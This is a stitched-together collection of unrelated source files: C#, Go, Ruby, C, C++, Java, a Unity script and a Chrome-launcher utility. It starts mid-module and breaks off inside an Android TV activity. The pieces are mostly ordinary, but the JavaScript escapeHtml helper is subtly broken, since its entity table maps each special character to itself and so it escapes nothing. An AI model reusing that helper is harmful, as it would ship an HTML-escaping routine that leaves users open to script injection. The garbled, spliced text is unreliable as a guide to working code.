  YIELD_EXPRESSION: {get: function() {
      return YIELD_EXPRESSION;
    }},
  __esModule: {value: true}
});


text:
class Work < ActiveRecord::Base
end


text:
package testdata

// B is declared in a separate file to test that object resolution spans the
// entire package.
var B int


text:
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Threading;

namespace Abc.Zebus.Util.Collections
{
    internal class FlushableBlockingCollection<T> : IDisposable
    {
        private readonly ManualResetEventSlim _addSignal = new ManualResetEventSlim();
        private volatile ConcurrentQueue<T> _queue = new ConcurrentQueue<T>();
        private volatile bool _isAddingCompleted;
        private ManualResetEventSlim? _isEmptySignal;
        private int _hasChangedSinceLastWaitForEmpty;

        public int Count => _queue.Count;

        public void CompleteAdding()
        {
            _isAddingCompleted = true;
            _addSignal.Set();
        }

        public void Add(T item)
        {
            if (_isAddingCompleted)
                throw new InvalidOperationException("Adding completed");

            _hasChangedSinceLastWaitForEmpty = 1;
            _queue.Enqueue(item);
            _addSignal.Set();
        }

        public IEnumerable<List<T>> GetConsumingEnumerable(int maxSize)
        {
            var items = new List<T>(maxSize);
            while (!IsAddingCompletedAndEmpty)
            {
                if (_queue.TryDequeue(out var item))
                {
                    _hasChangedSinceLastWaitForEmpty = 1;

                    items.Clear();
                    items.Add(item);

                    while (items.Count < maxSize && _queue.TryDequeue(out item))
                        items.Add(item);

                    yield return items;
                }
                else
                {
                    _isEmptySignal?.Set();

                    // a longer wait timeout decreases CPU usage and improves latency
                    // but the guy who wrote this code is not comfortable with long timeouts in waits or sleeps
                    if (_addSignal.Wait(200))
                        _addSignal.Reset();
                }
            }
        }

        private bool IsAddingCompletedAndEmpty => _isAddingCompleted && _queue.Count == 0;

        public void Dispose()
        {
            CompleteAdding();
        }

        /// <summary>
        /// Known race condition: an item can be added to a flushed queue.
        /// </summary>
        public ConcurrentQueue<T> Flush()
        {
            var items = _queue;

            _queue = new ConcurrentQueue<T>();
            _addSignal.Set();

            return items;
        }

        public bool WaitUntilIsEmpty()
        {
            var signal = _isEmptySignal;

            if (signal == null)
            {
                signal = new ManualResetEventSlim();
                var prevSignal = Interlocked.CompareExchange(ref _isEmptySignal, signal, null);
                signal = prevSignal ?? signal;
            }

            signal.Reset();
            _addSignal.Set();
            signal.Wait();

            return Interlocked.Exchange(ref _hasChangedSinceLastWaitForEmpty, 0) != 0;
        }
    }
}


text:
'use strict'

const chromeLauncher = require('chrome-launcher')
const path = require('path')

// Borrow from here:
// https://github.com/GoogleChrome/puppeteer/blob/master/lib/Launcher.js#L30
const DEFAULT_ARGS = [
  '--disable-background-networking',
  '--disable-background-timer-throttling',
  '--disable-client-side-phishing-detection',
  '--disable-default-apps',
  '--disable-hang-monitor',
  '--disable-popup-blocking',
  '--disable-prompt-on-repost',
  '--disable-sync',
  '--enable-automation',
  '--enable-devtools-experiments',
  '--metrics-recording-only',
  '--no-first-run',
  '--password-store=basic',
  '--safebrowsing-disable-auto-update',
  '--use-mock-keychain',
]

// borrow from: http://qiita.com/saekis/items/c2b41cd8940923863791
function escapeHtml (string) {
  if (typeof string !== 'string') {
    return string
  }
  return string.replace(/[&'`"<>]/g, function (match) {
    return {
      '&': '&',
      '\'': ''',
      '`': '`',
      '"': '"',
      '<': '<',
      '>': '>',
    }[match]
  })
}

function escapeSingleQuote (string) {
  if (typeof string !== 'string') {
    return string
  }
  return string.replace(/'/g, '\\\'')
}

function escapeNewLine (string) {
  return string.replace(/\r?\n/g, '\\n')
}

async function createChromeLauncher (startingUrl, options) {
  const flags = [].concat(DEFAULT_ARGS)
  let chromeInstance

  // Lighthouse adds '--disable-setuid-sandbox' flag automatically.
  // The flag causes an error on linux when staring headless chrome.
  // '--no-sandbox' suppresses an error caused by '--disable-setuid-sandbox'.
  if (process.platform === 'linux') {
    flags.push('--no-sandbox')
  }
  if (!options.visible) {
    flags.push('--headless')
    flags.push('--hide-scrollbars')
    flags.push('--mute-audio')
  }
  if (options.chromeFlags && Array.isArray(options.chromeFlags)) {
    options.chromeFlags.forEach(f => {
      if (f.indexOf('--') === -1) {
        throw new Error('An item of chromFlags option must have "--" at start of itself. the value: ' + f)
      }
      flags.push(f)
    })
  }
  if (options.additionalChromeFlags && Array.isArray(options.additionalChromeFlags)) {
    console.warn('[chromy] additionalChromeFlags is deprecated. Use chromeFlags instead of this.')
    options.additionalChromeFlags.forEach(f => {
      if (f.indexOf('--') === -1) {
        throw new Error('An item of chromFlags option must have "--" at start of itself. the value: ' + f)
      }
      flags.push(f)
    })
  }
  const params = {
    port: options.port,
    chromeFlags: flags,
    startingUrl: startingUrl,
    logLevel: 'error',
    enableExtensions: options.enableExtensions,
    handleSIGINT: false,
  }
  if (options.chromePath) {
    params.chromePath = options.chromePath
  }
  if (options.userDataDir) {
    params.userDataDir = options.userDataDir
  }

  chromeInstance = await chromeLauncher.launch(params)

  return chromeInstance
}

function completeUrl (url) {
  const reg = new RegExp('^[a-zA-Z0-9]+:', 'i')
  const regAbbr = new RegExp('^//', 'i')
  if (reg.test(url)) {
    return url
  } else if (regAbbr.test(url)) {
    return 'http:' + url
  } else {
    return 'file://' + path.join(process.cwd(), url)
  }
}

exports.escapeHtml = escapeHtml
exports.escapeSingleQuote = escapeSingleQuote
exports.escapeNewLine = escapeNewLine
exports.createChromeLauncher = createChromeLauncher
exports.completeUrl = completeUrl


text:
package memory

import (
	"fmt"

	"github.com/Cistern/catena/partition"
)

func (p *MemoryPartition) getOrCreateSource(name string) *memorySource {
	var source *memorySource
	present := false

	p.sourcesLock.RLock()
	if source, present = p.sources[name]; !present {
		p.sourcesLock.RUnlock()
		p.sourcesLock.Lock()

		if source, present = p.sources[name]; !present {
			source = &memorySource{
				name:    name,
				metrics: map[string]*memoryMetric{},
			}

			p.sources[name] = source
		}

		p.sourcesLock.Unlock()
	} else {
		p.sourcesLock.RUnlock()
	}

	return source
}

func (s *memorySource) getOrCreateMetric(name string) *memoryMetric {
	var metric *memoryMetric
	present := false

	s.lock.RLock()
	if metric, present = s.metrics[name]; !present {
		s.lock.RUnlock()
		s.lock.Lock()

		if metric, present = s.metrics[name]; !present {
			metric = &memoryMetric{
				name:            name,
				points:          make([]partition.Point, 0, 64),
				lastInsertIndex: -1,
			}

			s.metrics[name] = metric
		}

		s.lock.Unlock()
	} else {
		s.lock.RUnlock()
	}

	return metric
}

func (m *memoryMetric) insertPoints(points []partition.Point) {
	m.lock.Lock()

	for _, point := range points {
		if m.lastInsertIndex < 0 {
			// This is the first point.
			m.points = append(m.points, point)
			m.lastInsertIndex = 0
			continue
		}

		prevPoint := m.points[m.lastInsertIndex]
		if prevPoint.Timestamp < point.Timestamp {
			m.lastInsertIndex = m.insertAfter(point, m.lastInsertIndex)
			continue
		}

		var i int
		for i = m.lastInsertIndex; i > 0 && m.points[i].Timestamp > point.Timestamp; i-- {
		}

		m.lastInsertIndex = m.insertAfter(point, i)
	}

	m.lock.Unlock()
}

func (m *memoryMetric) insertAfter(point partition.Point, after int) int {
	lenPoints := len(m.points)

	var i int
	for i = after; i < lenPoints && m.points[i].Timestamp < point.Timestamp; i++ {
	}

	// Resize
	m.points = append(m.points, point)

	// Shift elements over
	copy(m.points[i+1:], m.points[i:lenPoints])

	// Insert in place
	m.points[i] = point

	return i
}

func (s *memorySource) String() string {
	str := ""

	str += fmt.Sprintf("source %s\n", s.name)
	for _, metric := range s.metrics {
		str += metric.String()
	}

	return str
}

func (m *memoryMetric) String() string {
	str := ""

	str += fmt.Sprintf("  metric %s\n", m.name)
	for _, p := range m.points {
		str += fmt.Sprintf("    %d => %g\n", p.Timestamp, p.Value)
	}

	return str
}


text:
namespace Azure.ResourceManager.Network.Models
{
    /// <summary> Response for the CheckPrivateLinkServiceVisibility API service call. </summary>
    public partial class PrivateLinkServiceVisibility
    {
        /// <summary> Initializes a new instance of PrivateLinkServiceVisibility. </summary>
        internal PrivateLinkServiceVisibility()
        {
        }

        /// <summary> Initializes a new instance of PrivateLinkServiceVisibility. </summary>
        /// <param name="visible"> Private Link Service Visibility (True/False). </param>
        internal PrivateLinkServiceVisibility(bool? visible)
        {
            Visible = visible;
        }

        /// <summary> Private Link Service Visibility (True/False). </summary>
        public bool? Visible { get; }
    }
}


text:
/* ShellSceneNode:
 *	Encapsulates information for rendering a regular
 *	looking shot (as opposed to a shock wave or laser).
 */

#ifndef	BZF_SHELL_SCENE_NODE_H
#define	BZF_SHELL_SCENE_NODE_H

#include "common.h"
#include "ShotSceneNode.h"

const GLfloat		ShellRadius = 0.5f;

class ShellSceneNode : public ShotSceneNode {
  public:
			ShellSceneNode(const GLfloat pos[3],
					const GLfloat forward[3]);
			~ShellSceneNode();

    void		move(const GLfloat pos[3], const GLfloat forward[3]);

    void		notifyStyleChange();
    void		addRenderNodes(SceneRenderer&);
    void		addShadowNodes(SceneRenderer&);

  protected:
    class ShellRenderNode : public RenderNode {
      public:
			ShellRenderNode(const ShellSceneNode*);
			~ShellRenderNode();
	void		setLighting(bool);
	void		render();
	const GLfloat*	getPosition() const { return sceneNode->getSphere(); }
      private:
	const ShellSceneNode* sceneNode;
	bool		lighted;
    };
    friend class ShellRenderNode;

  private:
    GLfloat		azimuth, elevation;
    OpenGLGState	gstate;
    ShellRenderNode	renderNode;
    static const GLfloat shellVertex[9][3];
    static const GLfloat shellNormal[10][3];
};

#endif // BZF_SHELL_SCENE_NODE_H

// Local Variables: ***
// mode:C++ ***
// tab-width: 8 ***
// c-basic-offset: 2 ***
// indent-tabs-mode: t ***
// End: ***
// ex: shiftwidth=2 tabstop=8


text:
/*!
 * \file thread_io.c
 * \brief Implementation of functions related to the I/O operations performed by all
 *        working threads.
 * \author Henrique Nascimento Gouveia <henrique.gouveia@aker.com.br>
 */

#include <errno.h>
#include <pthread.h>
#include <string.h>
#include <sys/mman.h>

#include "internal.h"
#include "daemon.h"
#include "resultio.h"
#include "requestio.h"

/*!
 * Clean up handler called when a thread is cancelled.
 *
 * \param arg argument passed to this cleaner when it was called. Actually, this is a
 *        pointer to the daemon structure.
 */
static void thread_cleanup_routine(void *arg)
{
  struct akwbs_daemon *daemon_p = NULL;

  if (arg == NULL)
    return;

  daemon_p = (struct akwbs_daemon *)arg;

  pthread_mutex_unlock(&daemon_p->request_io_queue_mutex);

}

/*!
 * Set up the calling thread.
 *
 * \return AKWBS_SUCCESS on succes setting up this thread.
 *         AKWBS_ERROR on error while trying to set up this thread.
 *
 * \details The set up is do.ne by detaching the thread, enabling cancellation on deferred
 *          type.
 */
static int setup_io_thread(void)
{
  if (pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, NULL) == AKWBS_ERROR)
    return AKWBS_ERROR;

  if (pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL) == AKWBS_ERROR)
    return AKWBS_ERROR;

  return AKWBS_SUCCESS;
}

/*!
 * Main routine of working threads.
 *
 * \param arg argument to this routine.
 */
void *akwbs_thread_io_routine(void *arg)
{
  struct akwbs_daemon *daemon_p = NULL;
  struct akwbs_request_io_msg msg;
  struct akwbs_result_io result_msg;

  if (arg == NULL)
    pthread_exit(NULL);

  daemon_p = (struct akwbs_daemon *)arg;

  if (setup_io_thread() == AKWBS_ERROR)
    pthread_exit(NULL);

  pthread_cleanup_push(thread_cleanup_routine, daemon_p)

  while (1)
  {
    ssize_t ret = 0;

    bzero(&msg, sizeof(struct akwbs_request_io_msg));
    bzero(&result_msg, sizeof(struct akwbs_result_io));

    if (pthread_mutex_lock(&daemon_p->request_io_queue_mutex) != AKWBS_SUCCESS)
      pthread_exit(NULL);

    while ((ret = read(daemon_p->request_io_queue[AKWBS_READ_INDEX],
                       &msg,
                       sizeof(struct akwbs_request_io_msg))) == AKWBS_ERROR)
    {
      if (errno == EAGAIN)
      {
        if (pthread_cond_wait(&daemon_p->request_io_queue_cond,
                              &daemon_p->request_io_queue_mutex) != AKWBS_SUCCESS)
        {
          pthread_mutex_unlock(&daemon_p->request_io_queue_mutex);
          pthread_exit(NULL);
        }
      }
      else
      {
        pthread_mutex_unlock(&daemon_p->request_io_queue_mutex);
        pthread_exit(NULL);
      }
    }

    pthread_mutex_unlock(&daemon_p->request_io_queue_mutex);

    akwbs_do_io(msg.fd, msg.address, &msg.bytes, &msg.offset, msg.type);

    result_msg.bytes_read    = msg.bytes;
    result_msg.connection_fd = msg.sd;

    posix_madvise(msg.address, msg.bytes, POSIX_MADV_SEQUENTIAL);

    akwbs_result_io_send_msg(&result_msg, daemon_p->result_io_queue[AKWBS_WRITE_INDEX]);

  }

  pthread_cleanup_pop(0);

  pthread_exit(NULL);

}


text:
A polymer element for getting a photo, either from an image file or (on supported mobile browsers) from a camera.

## Usage

Example:

      <img src$="{{imageUrl}}">
      <up-photo-input value="{{imageUrl}}" target-with="200" target-height="200" encoding-type="png">
          <paper-button raised>take picture</paper-button>
      </up-photo-input>


text:
require 'spec_helper'

describe "<%= class_name.pluralize %>" do
end


text:
/* Provides a template class from which one can easily create a 2 dimensional
 * tree structure that is useful for GUI applications. */

#pragma once
#include <cassert>
#include <cstdint>
#include <functional>

namespace nr {
namespace datastructures {

  /* This abstract class represents a node in a tree hierarchy. It has a
   * similar interface to the Cinema 4D #GeListNode class. Nodes must be
   * allocated with the Cinema 4D memory management functions!
   *
   * Note that a node must always be allocated with the same allocation
   * function as it will also always be freed with the same deallocation
   * function. The deallocation must be implemented in #free(). */
  class tree_node {
  private:
    tree_node* m_parent;
    tree_node* m_child;
    tree_node* m_pred;
    tree_node* m_next;
    uint32_t m_bitfield;

  protected:
    /* This method must be implemented to allow cloning nodes.
     * It is called from #clone() to create a shallow copy of the
     * node and then copy the data from the original with #copy_to().
     *
     * Keep in mind that the function that allocates the node must
     * match with the implementation of #free(). */
    virtual tree_node* shallow_copy() const = 0;

  public:
    /* Construct a node decoupled from any existing hierarchy. */
    tree_node()
    : m_parent(nullptr), m_child(nullptr), m_pred(nullptr)
    , m_next(nullptr), m_bitfield(0)
    { }

    /* Virtual destructor. Destroys all child nodes. */
    virtual ~tree_node() {
      assert(m_parent == nullptr && "node is destroyed but still attached to parent node");
      flush();
    }

    /* This function must be overridden to allow the node to identify
     * itself for the specified #type_id. This is necessary when an
     * existing node implementation is subclasses. Note that the method
     * should always return true if #type_id is equal to the ID returned
     * by #type(). */
    virtual bool check_type(uint32_t type_id) const = 0;

    /* Return the type ID of the node's implementation. */
    virtual uint32_t type() const = 0;

    /* This function is called when a clone is created with #clone()
     * to copy the node's data over to the ne instance. Note that you
     * have to implement #shallow_copy() for cloning to work. */
    virtual bool copy_to(tree_node* dst) const { return true; }

    /* Deallocate the node itself. Do not delete recursively, only free
     * the memory of the node itself and call the destructor. It will take
     * care of deallocating recursively. */
    virtual void free() = 0;

    /* Flush the node, causing all child nodes to be removed and
     * deallocated. */
    inline void flush() {
      tree_node* curr = m_child;
      while (curr) {
        tree_node* next = curr->m_next;
        curr->remove();
        curr->free();
        curr = next;
      }
      m_child = nullptr;
    }

    /* Create a clone of this node by first allocating an empty instance
     * using #shallow_copy() and then copying the data with #copy_to(). */
    tree_node* clone() const;

    /* Navigate in the hierarchy. */
    // @{
    inline tree_node* next() const { return m_next; }
    inline tree_node* pred() const { return m_pred; }
    inline tree_node* parent() const { return m_parent; }
    inline tree_node* child() const { return m_child; }
    inline tree_node* last_child() const {
      tree_node* curr = m_child;
      while (curr && curr->m_next) {
        curr = curr->m_next;
      }
      return curr;
    }
    // @}

    /* Detach the node from the hierarchy. Ownership is transfered from the
     * parent node to the caller. */
    inline void remove() {
      if (m_pred) m_pred->m_next = m_next;
      if (m_next) m_next->m_pred = m_pred;
      if (m_parent && m_parent->m_child == this) m_parent->m_child = m_next;
      m_pred = nullptr;
      m_next = nullptr;
      m_parent = nullptr;
    }

    /* Insert the node as direct child under #parent. */
    inline void insert_under(tree_node* parent) {
      // Update current node's references.
      m_next = parent->m_child;
      m_pred = nullptr;
      m_parent = parent;

      // Update parent node's references.
      parent->m_child = this;

      // Update adjacent references.
      if (m_next) m_next->m_pred = this;
    }

    /* Insert the node as last child under #parent. */
    inline void insert_under_last(tree_node* parent) {
      this->insert_at(parent, parent->last_child());
    }

    /* Insert the node after the specified #pred node. */
    inline void insert_after(tree_node* pred) {
      m_pred = pred;
      m_next = pred->m_next;
      m_parent = pred->m_parent;

      // Update adjacent references.
      if (m_pred) m_pred->m_next = this;
      if (m_next) m_next->m_pred = this;
    }

    /* Insert the node before the specified #next node. */
    inline void insert_before(tree_node* next) {
      m_next = next;
      m_pred = next->m_pred;
      m_parent = next->m_parent;

      // Update adjacent references.
      if (m_next) m_next->m_pred = this;
      if (m_pred) m_pred->m_next = this;

      // Update direct-child reference of the parent if necessary.
      if (m_parent->m_child == next) m_parent->m_child = this;
    }

    /* Inserts the node either after #prev or under #parent, in that order. */
    inline bool insert_at(tree_node* parent, tree_node* pred) {
      if (pred) this->insert_after(pred);
      else if (parent) this->insert_under(parent);
      else return false;
      return true;
    }

    /* Invoke #callback for each node in the hierarchy, starting with
     * the current node. If the #callback returns false at some point,
     * the whole iteration will be aborted.
     *
     * It is safe to remove the current node from the hierarchy during
     * the iteration. However, you can only remove the *current* node. */
    template <typename T>
    bool iter(std::function<int(T*)> const& callback) {
      if (!callback(static_cast<T*>(this))) return false;
      tree_node* curr = nullptr;
      tree_node* next = nullptr;
      curr = m_child;
      while (curr) {
        next = curr->m_next;
        if (!curr->iter(callback)) return false;
        curr = next;
      }
      return true;
    }

    /* Non-template version of #iter() that expects the #callback
     * to accept a #tree_node pointer. */
    bool iter(std::function<int(tree_node*)> const& callback) {
      return this->iter<tree_node>(callback);
    }

    /* Returns the 32-bit field of the node that can be used to
     * store arbitrary flags with the node. Optionally, this can
     * bitfield can be spliced with the #mask. */
    // @{
    inline uint32_t const& bits() const { return m_bitfield; }
    inline uint32_t& bits() { return m_bitfield; }
    inline uint32_t bits(uint32_t mask) const { return m_bitfield & mask; }
    // @}

    /* Set/delete/toggle a specific bit in the bitmask of the node. */
    // @{
    inline void set_bit(uint32_t mask) { m_bitfield |= mask; }
    inline void set_bit(uint32_t mask, bool state) { if (state) set_bit(mask); else del_bit(mask); }
    inline void del_bit(uint32_t mask) { m_bitfield &= ~mask; }
    inline void toggle_bit(uint32_t mask) { m_bitfield ^= mask; }
    // @}
  };

  /* This is a template helper class that implements the Curiously-recursive-\
   * template-pattern to produce an easy-to-use #tree_node subclass. The #S
   * template parameter must be the subclass of the #tree_node_crtp class.
   *
   * For a starter, you only need to implement the #shallow_copy() method. */
  template <typename S>
  class tree_node_crtp : public tree_node {
  public:
    virtual ~tree_node_crtp() { }
    // tree_node overrides
    inline void free() { delete this; }
    inline S* next() const { return static_cast<S*>(tree_node::next()); }
    inline S* pred() const { return static_cast<S*>(tree_node::pred()); }
    inline S* parent() const { return static_cast<S*>(tree_node::parent()); }
    inline S* child() const { return static_cast<S*>(tree_node::child()); }
    inline S* last_child() const { return static_cast<S*>(tree_node::last_child()); }
    inline S* clone() const { return static_cast<S*>(tree_node::clone()); }
  };

}} // namespace nr::datastructures


text:
using UnityEngine;
using System.Collections;
using Game;

public class Enemy : MonoBehaviour {

	public double health = 50;
	public GameLogic game;
	public float speed = 2.5f;

	public float SleepFor { private get; set; }

	private EnemyState state = EnemyState.Waiting;

	public bool Finished { get { return state == EnemyState.Dead || state == EnemyState.Survived; } }

	public bool Dead { get { return state == EnemyState.Dead; } }

	public bool Survived { get { return state == EnemyState.Survived; } }

	public EnemyState State {
		get{ return state;}
		private set{ state = value;}
	}

	private LightCheckpoint nextCheckpoint;

	// Use this for initialization
	void Start () {
	}

	// Update is called once per frame
	void Update () {
		if (Finished)
			return;
		if (SleepFor >= 0) {
			SleepFor -= TimeManager.GetDeltaTime ();
			if (SleepFor >= 0)
				return;

			state = EnemyState.Running;
		}
		if (nextCheckpoint == null)
			nextCheckpoint = game.Maze.NextCheckpoint (nextCheckpoint);
		if (nextCheckpoint == null)
			return;
		if (gameObject == null)
			return;

		CheckPoisoning ();

		var checkpointPosition = nextCheckpoint.Position;
		var myPosition = transform.position;

		var directionTowardsEnemy = checkpointPosition - myPosition;
		var movementTowardsEnemy = directionTowardsEnemy; //new Vector3(directionTowardsEnemy.x, 0, directionTowardsEnemy.z);

		var delta = 2.0;
		if (movementTowardsEnemy.magnitude < delta) {
			if (game.Maze.EndCheckpoint == nextCheckpoint) {
				state = EnemyState.Survived;
				game.Finished (this);
				Destroy (gameObject);
				return;
			}
			nextCheckpoint = game.Maze.NextCheckpoint (nextCheckpoint);
			return;
		}

		//var movement = speed * TimeManager.GetDeltaTime() * movementTowardsEnemy.normalized;
		//gameObject.transform.Translate (movement);

		if (GameLogic.I.AreEnemiesFrozen)
			return;

		gameObject.transform.LookAt (nextCheckpoint.Position);
		gameObject.transform.Translate (Vector3.forward * TimeManager.GetDeltaTime () * speed);
	}

	void OnTriggerEnter (Collider other) {
		if (other.gameObject.tag != "Projectile")
			return;

		Projectile projectile = other.gameObject.GetComponent<Projectile> ();
		health -= projectile.myDamage;
		Destroy (other.gameObject);
		CheckHealth (projectile);
	}

	void CheckHealth (Projectile projectile = null) {
		if (health > 0)
			return;

		if (projectile != null)
			projectile.origin.Root.Grow (0.1f);

		state = EnemyState.Dead;
		game.Finished (this);
		Destroy (gameObject);
	}

	void CheckPoisoning () {
		if (!GameLogic.I.IsPoisonSpellActive)
			return;

		var damage = TimeManager.GetDeltaTime () * 0.4f;
		Damage (damage);
	}

	public void Damage (float damage) {
		if (state != EnemyState.Running)
			return;

		health -= damage;
		CheckHealth ();
	}
}


text:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace NDuck.TestClasses
{
    /// <summary>
    /// Just a test struct.
    /// </summary>
    struct Struct1
    {
        /// <summary>
        /// Private field.
        /// </summary>
#pragma warning disable 169
        int a;
#pragma warning restore 169
    }
}


text:
package com.oracle.xmlns.apps.crmcommon.salesparties.salespartiesservice.types;

import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlElement;
import javax.xml.bind.annotation.XmlRootElement;
import javax.xml.bind.annotation.XmlType;
import com.oracle.xmlns.apps.crmcommon.salesparties.salespartiesservice.SalesAccountResource;

/**
 *
Java class for anonymous complex type.
 *
 *
The following schema fragment specifies the expected content contained within this class.
 *
 *

 * <complexType>
 *   <complexContent>
 *     <restriction base="{http://www.w3.org/2001/XMLSchema}anyType">
 *       <sequence>
 *         <element name="salesAccountResource" type="{http://xmlns.oracle.com/apps/crmCommon/salesParties/salesPartiesService/}SalesAccountResource"/>
 *       </sequence>
 *     </restriction>
 *   </complexContent>
 * </complexType>
 *

 *
 *
 */
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "", propOrder = {
    "salesAccountResource"
})
@XmlRootElement(name = "deleteSalesAccountResourceAsync")
public class DeleteSalesAccountResourceAsync {

    @XmlElement(required = true)
    protected SalesAccountResource salesAccountResource;

    /**
     * Gets the value of the salesAccountResource property.
     *
     * @return
     *     possible object is
     *     {@link SalesAccountResource }
     *
     */
    public SalesAccountResource getSalesAccountResource() {
        return salesAccountResource;
    }

    /**
     * Sets the value of the salesAccountResource property.
     *
     * @param value
     *     allowed object is
     *     {@link SalesAccountResource }
     *
     */
    public void setSalesAccountResource(SalesAccountResource value) {
        this.salesAccountResource = value;
    }

}


text:
package com.android.systemui.recents.tv;

import android.app.Activity;
import android.app.ActivityOptions;
import android.content.Intent;
import android.graphics.Rect;
import android.os.Bundle;
import android.os.UserHandle;
import android.util.Log;
import android.view.KeyEvent;
import android.view.View;
import android.view.ViewTreeObserver.OnPreDrawListener;
import android.view.WindowManager;
import android.view.accessibility.AccessibilityEvent;
import android.widget.FrameLayout.LayoutParams;

import com.android.systemui.R;
import com.android.systemui.recents.Recents;
import com.android.systemui.recents.RecentsActivityLaunchState;
import com.android.systemui.recents.RecentsConfiguration;
import com.android.systemui.recents.RecentsImpl;
import com.android.systemui.recents.events.EventBus;
import com.android.systemui.recents.events.activity.CancelEnterRecentsWindowAnimationEvent;
import com.android.systemui.recents.events.activity.DismissRecentsToHomeAnimationStarted;
import com.android.systemui.recents.events.activity.EnterRecentsWindowAnimationCompletedEvent;
import com.android.systemui.recents.events.activity.HideRecentsEvent;
import com.android.systemui.recents.events.activity.LaunchTaskFailedEvent;
import com.android.systemui.recents.events.activity.ToggleRecentsEvent;
import com.android.systemui.recents.events.component.RecentsVisibilityChangedEvent;
import com.android.systemui.recents.events.ui.AllTaskViewsDismissedEvent;
import com.android.systemui.recents.events.ui.DeleteTaskDataEvent;
import com.android.systemui.recents.events.ui.UserInteractionEvent;
import com.android.systemui.recents.events.ui.focus.DismissFocusedTaskViewEvent;
import com.android.systemui.recents.misc.SystemServicesProxy;
import com.android.systemui.recents.model.RecentsPackageMonitor;
import com.android.systemui.recents.model.RecentsTaskLoadPlan;
import com.android.systemui.recents.model.RecentsTaskLoader;
import com.android.systemui.recents.model.Task;
import com.android.systemui.recents.model.TaskStack;
import com.android.systemui.recents.tv.animations.HomeRecentsEnterExitAnimationHolder;
import com.android.systemui.recents.tv.views.RecentsTvView;
import com.android.systemui.recents.tv.views.TaskCardView;
import com.android.systemui.recents.tv.views.TaskStackHorizontalGridView;
import com.android.systemui.recents.tv.views.TaskStackHorizontalViewAdapter;
import com.android.systemui.statusbar.BaseStatusBar;
import com.android.systemui.tv.pip.PipManager;
import com.android.systemui.tv.pip.PipRecentsOverlayManager;

import java.util.ArrayList;
import java.util.Collections;
import java.util.List;

/**
 * The main TV recents activity started by the RecentsImpl.
 */
public class RecentsTvActivity extends Activity implements OnPreDrawListener {
    private final static String TAG = "RecentsTvActivity";
    private final static boolean DEBUG = false;

    public final static int EVENT_BUS_PRIORITY = Recents.EVENT_BUS_PRIORITY + 1;
    private final static String RECENTS_HOME_INTENT_EXTRA =
            "com.android.systemui.recents.tv.RecentsTvActivity.RECENTS_HOME_INTENT_EXTRA";

    private boolean mFinishedOnStartup;
    private RecentsPackageMonitor mPackageMonitor;
    private long mLastTabKeyEventTime;
    private boolean mIgnoreAltTabRelease;
    private boolean mLaunchedFromHome;
    private boolean mTalkBackEnabled;

    private RecentsTvView mRecentsView;
    private View mPipView;
    private TaskStackHorizontalViewAdapter mTaskStackViewAdapter;
    private TaskStackHorizontalGridView mTaskStackHorizontalGridView;
    private FinishRecentsRunnable mFinishLaunchHomeRunnable;
    private HomeRecentsEnterExitAnimationHolder mHomeRecentsEnterExitAnimationHolder;

    private final PipManager mPipManager = PipManager.getInstance();
    private final PipManager.Listener mPipListener = new PipManager.Listener() {
        @Override
        public void onPipEntered() {
            updatePipUI();
        }

        @Override
        public void onPipActivityClosed() {
            updatePipUI();
        }

        @Override
        public void onShowPipMenu() {
            updatePipUI();
        }

        @Override
        public void onMoveToFullscreen() {
            // Recents should be dismissed when PIP moves to fullscreen. If not, Recents will
            // be unnecessarily shown in the scenario: PIP->Fullscreen->PIP.
            // Do not show Recents close animation because PIP->Fullscreen animation will be shown
            // instead.
            dismissRecentsToLaunchTargetTaskOrHome(false);
        }

        @Override
        public void onPipResizeAboutToStart() { }
    };
    private PipRecentsOverlayManager mPipRecentsOverlayManager;
    private final PipRecentsOverlayManager.Callback mPipRecentsOverlayManagerCallback =
            new PipRecentsOverlayManager.Callback() {
                @Override
                public void onClosed() {
                    dismissRecentsToLaunchTargetTaskOrHome(true);
                }

                @Override
                public void onBackPressed() {
                    RecentsTvActivity.this.onBackPressed();
                }

                @Override
                public void onRecentsFocused() {
                    if (mTalkBackEnabled) {
                        mTaskStackHorizontalGridView.requestFocus();
                        mTaskStackHorizontalGridView.sendAccessibilityEvent(
                                AccessibilityEvent.TYPE_VIEW_FOCUSED);
                    }
                    mTaskStackHorizontalGridView.startFocusGainAnimation();
                }
            };

    private final View.OnFocusChangeListener mPipViewFocusChangeListener =
            new View.OnFocusChangeListener() {
                @Override
                public void onFocusChange(View v, boolean hasFocus) {
                    if (hasFocus) {
                        requestPipControlsFocus();
                    }
                }
            };

    /**
     * A common Runnable to finish Recents by launching Home with an animation depending on the
     * last activity launch state.  Generally we always launch home when we exit Recents rather than
     * just finishing the activity since we don't know what is behind Recents in the task stack.
     */
    class FinishRecentsRunnable implements Runnable {
        Intent mLaunchIntent;

        /**
         * Creates a finish runnable that starts the specified intent.
         */
        public FinishRecentsRunnable(Intent launchIntent) {
            mLaunchIntent = launchIntent;
        }

        @Override
        public void run() {
            try {
                ActivityOptions opts = ActivityOptions.makeCustomAnimation(RecentsTvActivity.this,
                        R.anim.recents_to_launcher_enter, R.anim.recents_to_launcher_exit);
                startActivityAsUser(mLaunchIntent, opts.toBundle(), UserHandle.CURRENT);
            } catch (Exception e) {
                Log.e(TAG, getString(R.string.recents_launch_error_message, "Home"), e);
            }
        }
    }

    private void updateRecentsTasks() {
        RecentsTaskLoader loader = Recents.getTaskLoader();
        RecentsTaskLoadPlan plan = RecentsImpl.consumeInstanceLoadPlan();
        if (plan == null) {
            plan = loader.createLoadPlan(this);
        }

        RecentsConfiguration config = Recents.getConfiguration();
        RecentsActivityLaunchState launchState = config.getLaunchState();
        if (!plan.hasTasks()) {
            loader.preloadTasks(plan, -1, !launchState.launchedFromHome);
        }

        int numVisibleTasks = TaskCardView.getNumberOfVisibleTasks(getApplicationContext());
        mLaunchedFromHome = launchState.launchedFromHome;
        TaskStack stack = plan.getTaskStack();
        RecentsTaskLoadPlan.Options loadOpts = new RecentsTaskLoadPlan.Options();
        loadOpts.runningTaskId = launchState.launchedToTaskId;
        loadOpts.numVisibleTasks = numVisibleTasks;
        loadOpts.numVisibleTaskThumbnails = numVisibleTasks;
        loader.loadTasks(this, plan, loadOpts);

        List stackTasks = stack.getStackTasks();
        Collections.reverse(stackTasks);
